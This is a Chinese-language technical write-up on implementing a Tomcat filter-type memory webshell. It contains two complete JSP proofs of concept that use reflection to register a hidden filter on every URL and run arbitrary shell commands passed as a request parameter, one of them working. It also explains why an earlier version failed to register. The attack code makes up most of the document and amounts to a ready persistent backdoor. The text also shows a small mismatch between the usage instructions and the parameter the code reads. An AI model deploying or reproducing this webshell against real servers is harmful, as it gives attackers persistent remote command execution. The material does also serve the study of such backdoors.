文章记录java内存马实现遇到的一些问题
0x01 filter内存马
一开始想的是,通过gpt直接写一个代码就可以进行测试,实际测试下来效果并不好,不如直接自己手搓。一方面是gpt对很多细节的内容并不清楚,一开始给的需求是通过servlet api动态注册filter,实际测试下来filter中无法实现,动态注册必须在 Servlet 容器启动期间完成(通过ServletContainerInitializer或ServletContextListener)。另一方面是gpt对代码实现的侧重点不同。
poc
<%@ page import="java.util.*,
javax.servlet.*,
javax.servlet.http.*,
java.io.*,
java.lang.reflect.*,
org.apache.tomcat.util.descriptor.web.FilterDef,
org.apache.tomcat.util.descriptor.web.FilterMap,
org.apache.catalina.core.ApplicationContext,
org.apache.catalina.core.ApplicationFilterConfig,
org.apache.catalina.core.StandardContext,
org.apache.catalina.Context" %>
<%@ page pageEncoding="UTF-8" contentType="text/html;charset=UTF-8" %>
<!DOCTYPE html>
<html>
<head>
<title>动态Filter命令执行</title>
<style>
.success {
color: green;
}
.error {
color: red;
}
pre {
background-color: #f5f5f5;
padding: 10px;
border: 1px solid #ddd;
}
</style>
</head>
<body>
<h2>动态Filter命令执行</h2>
<%
final String filterName = "CommandExecutorFilter";
try {
// 获取Servlet上下文
ServletContext context = request.getServletContext();
// 使用反射获取StandardContext (Tomcat特定)
Field contextField = context.getClass().getDeclaredField("context");
//contextField.setAccessible(true);
//StandardContext standardContext = (StandardContext) contextField.get(context);
contextField.setAccessible(true);
Object applicationContext = contextField.get(context);
// 从ApplicationContext中获取StandardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 加载必要的类
//ClassLoader cl = Thread.currentThread().getContextClassLoader();
//Class<?> filterDefClass = cl.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef");
//Class<?> filterMapClass = cl.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
// 定义命令执行Filter (内部类)
class CommandExecutorFilter implements Filter {
@Override
public void init(FilterConfig config) throws ServletException {
}
@Override
// public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
// throws IOException, ServletException {
// HttpServletRequest httpReq = (HttpServletRequest) req;
// String command = httpReq.getParameter("cmd");
// if (command != null) {
// res.setContentType("text/plain;charset=UTF-8");
// PrintWriter out = res.getWriter();
// Process process = null;
// BufferedReader reader = null;
//
// try {
// // 根据操作系统选择命令解释器
// String os = System.getProperty("os.name").toLowerCase();
// String[] cmd = os.contains("win")
// ? new String[]{"cmd", "/c", command}
// : new String[]{"/bin/sh", "-c", command};
//
// ProcessBuilder pb = new ProcessBuilder(cmd);
// pb.redirectErrorStream(true); // 合并错误流到输出流
// process = pb.start();
//
// // 读取命令输出
// reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8"));
// StringBuilder output = new StringBuilder();
// String line;
// while ((line = reader.readLine()) != null) {
// output.append(line).append("\n");
// }
//
// int exitCode = process.waitFor();
// out.println("命令执行结果 (退出码: " + exitCode + "):\n" + output.toString());
// out.flush();
// } catch (Exception e) {
// out.println("执行命令时出错: " + e.getMessage());
// } finally {
// if (reader != null) try { reader.close(); } catch (IOException e) {}
// if (process != null) process.destroy();
// }
// return;
// }
// chain.doFilter(req, res);
// }
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest httpReq = (HttpServletRequest) req;
String command = httpReq.getParameter("cmd");
if (command != null) {
res.setContentType("text/plain;charset=UTF-8");
PrintWriter out = res.getWriter();
Process process = null;
BufferedReader reader = null;
try {
// 根据操作系统选择命令解释器
String os = System.getProperty("os.name").toLowerCase();
String[] cmd = os.contains("win")
? new String[]{"cmd", "/c", command}
: new String[]{"/bin/sh", "-c", command};
ProcessBuilder pb = new ProcessBuilder(cmd);
pb.redirectErrorStream(true); // 合并错误流到输出流
process = pb.start();
// 读取命令输出
reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8"));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
int exitCode = process.waitFor();
out.println("命令执行结果 (退出码: " + exitCode + "):\n" + output.toString());
out.flush();
} catch (Exception e) {
out.println("执行命令时出错: " + e.getMessage());
} finally {
if (reader != null) try { reader.close(); } catch (IOException e) {}
if (process != null) process.destroy();
}
return;
}
chain.doFilter(req, res);
}
@Override
public void destroy() {
}
}
// 设置Filter实例
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("CommandExecutorFilter");
filterDef.setFilter(new CommandExecutorFilter());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap();
filterMap.setFilterName("CommandExecutorFilter");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);
Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, filterConfig);
out.println("<p class='success'>命令执行Filter已成功注册!</p>");
out.println("<p>请重新访问此页面执行命令</p>");
} catch (Exception e) {
out.println("<p class='error'>执行过程中出错: " + e.getMessage() + "</p>");
e.printStackTrace();
}
%>
<h3>操作步骤</h3>
<ol>
<li>注册成功后,使用以下URL执行命令:</li>
<ul>
<li><code>/dynamicfilter.jsp?command=ls</code> (Linux/Mac)</li>
<li><code>/dynamicfilter.jsp?command=dir</code> (Windows)</li>
</ul>
</ol>
</body>
</html>
问题1 tomcat版本问题:
在较新的Tomcat版本(8.x及以上)中,FilterDef 和 FilterMap 类已经从 org.apache.catalina.deploy 包移动到了 org.apache.tomcat.util.descriptor.web 包
问题2 Servlet API 提供的动态注册机制不适用,访问jsp文件时容器已经生成。无法将筛选器添加到上下文,因为该上下文已初始化
failpoc
<%@ page import="java.util.*, javax.servlet.*, javax.servlet.http.*,
java.lang.reflect.*, java.io.*" %> // 新增java.io.*
<!DOCTYPE html>
<html>
<head>
<title>命令执行Filter</title>
<style>
.success { color: green; }
.error { color: red; }
pre { background-color: #f5f5f5; padding: 10px; border: 1px solid #ddd; overflow-x: auto; }
</style>
</head>
<body>
<h2>命令执行Filter</h2>
<%
// 设置响应编码
response.setContentType("text/html;charset=UTF-8");
request.setCharacterEncoding("UTF-8");
try {
// 获取Servlet上下文
ServletContext context = request.getServletContext();
// 获取StandardContext实例(适用于Tomcat容器)
Field contextField = context.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object standardContext = contextField.get(context);
// 加载必要的类
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class<?> filterDefClass = cl.loadClass("org.apache.catalina.deploy.FilterDef");
Class<?> filterMapClass = cl.loadClass("org.apache.catalina.deploy.FilterMap");
// 创建Filter定义
Object filterDef = filterDefClass.getDeclaredConstructor().newInstance();
filterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, "CommandExecutorFilter");
filterDefClass.getMethod("setFilterClass", String.class).invoke(filterDef, "CommandExecutorFilter");
// 定义命令执行Filter
class CommandExecutorFilter implements Filter {
@Override
public void init(FilterConfig config) throws ServletException {}
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException { // 现在可以正确识别异常类型
HttpServletRequest httpReq = (HttpServletRequest) req;
// 检查GET请求中的command参数
if ("GET".equalsIgnoreCase(httpReq.getMethod())) {
String command = httpReq.getParameter("command");
if (command != null && !command.trim().isEmpty()) {
try {
// 设置响应格式
res.setContentType("text/plain;charset=UTF-8");
PrintWriter out = res.getWriter();
// 执行系统命令
Process process;
String os = System.getProperty("os.name").toLowerCase();
String[] cmd;
if (os.contains("win")) {
cmd = new String[] {"cmd", "/c", command};
} else {
cmd = new String[] {"/bin/sh", "-c", command};
}
process = Runtime.getRuntime().exec(cmd);
// 获取命令输出
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
// 获取错误输出
BufferedReader errorReader = new BufferedReader(
new InputStreamReader(process.getErrorStream()));
StringBuilder error = new StringBuilder();
while ((line = errorReader.readLine()) != null) {
error.append(line).append("\n");
}
// 等待命令执行完成
int exitCode = process.waitFor();
// 返回结果
out.println("命令: " + command);
out.println("退出代码: " + exitCode);
if (output.length() > 0) {
out.println("\n标准输出:\n" + output.toString());
}
if (error.length() > 0) {
out.println("\n错误输出:\n" + error.toString());
}
return; // 终止请求处理链
} catch (Exception e) {
res.getWriter().println("执行命令时出错: " + e.getMessage());
e.printStackTrace();
}
}
}
// 继续请求处理链
chain.doFilter(req, res);
}
@Override
public void destroy() {}
}
// 设置Filter实例
filterDefClass.getMethod("setFilter", Filter.class).invoke(filterDef, new CommandExecutorFilter());
// 添加Filter定义到上下文
standardContext.getClass().getMethod("addFilterDef", filterDefClass).invoke(standardContext, filterDef);
// 创建Filter映射
Object filterMap = filterMapClass.getDeclaredConstructor().newInstance();
filterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, "CommandExecutorFilter");
filterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
filterMapClass.getMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
// 添加Filter映射
standardContext.getClass().getMethod("addFilterMapBefore", filterMapClass).invoke(standardContext, filterMap);
out.println("<p class='success'>命令执行Filter已添加!</p>");
out.println("<p>现在可以通过访问 ?command=your_command 来执行系统命令</p>");
} catch (Exception e) {
out.println("<p class='error'>添加Filter失败: " + e.getMessage() + "</p>");
e.printStackTrace();
}
%>
<h3>使用说明</h3>
<p>可以通过在URL中添加command参数来执行系统命令,例如:</p>
<pre>http://your-server/your-app/this-page.jsp?command=dir</pre>
<pre>http://your-server/your-app/this-page.jsp?command=ls -l</pre>
<div class="warning">
<h3 style="color:red">警告!</h3>
<p>此功能具有极高的安全风险,可能导致服务器被攻击和数据泄露。</p>
<p>请仅在安全的测试环境中使用,不要在生产环境部署。</p>
</div>
</body>
</html>
这个poc失败最主要的原因是filter没有正确的注册,缺少了filterConfigs的设置
- Tomcat的Filter工作机制:
- Tomcat在处理请求时,会查询filterConfigs映射来确定哪些过滤器需要被调用
- filterConfigs映射将过滤器名称与其对应的ApplicationFilterConfig对象关联起来
- ApplicationFilterConfig包含了初始化和调用过滤器所需的所有信息
- 缺少最后一步的后果:
- 虽然FilterDef已添加到上下文(定义了过滤器)
- 虽然FilterMap已添加(映射了URL模式到过滤器名称)
- 但当Tomcat尝试根据名称查找实际的过滤器配置时,在
filterConfigs中找不到对应条目 - 结果是Filter不会被Tomcat的请求处理管道调用
如何写一个成功filter内存马呢?
- 完整的注册流程:
- FilterDef定义过滤器
- FilterMap配置URL匹配模式
- 将FilterMap添加到StandardContext
- 创建了ApplicationFilterConfig并添加到filterConfigs映射中
- 对象获取:
- 获取ServletContext
- 反射获取了ApplicationContext
- 反射获取了StandardContext
- 获取filterConfigs映射
参考
Java Web内存马深入分析:从注入原理到检测查杀-先知社区
SpringBoot笔记-web篇-一次web请求的大体流程 – luffysk – 博客园
Java servlet执行的完整流程(图解含源码分析)_servlet服务器放应用流程图-CSDN博客
JavaWeb 内存马一周目通关攻略 – Luminous~ – 博客园
Tomcat 内存马学习(一):Filter型 – 天下大木头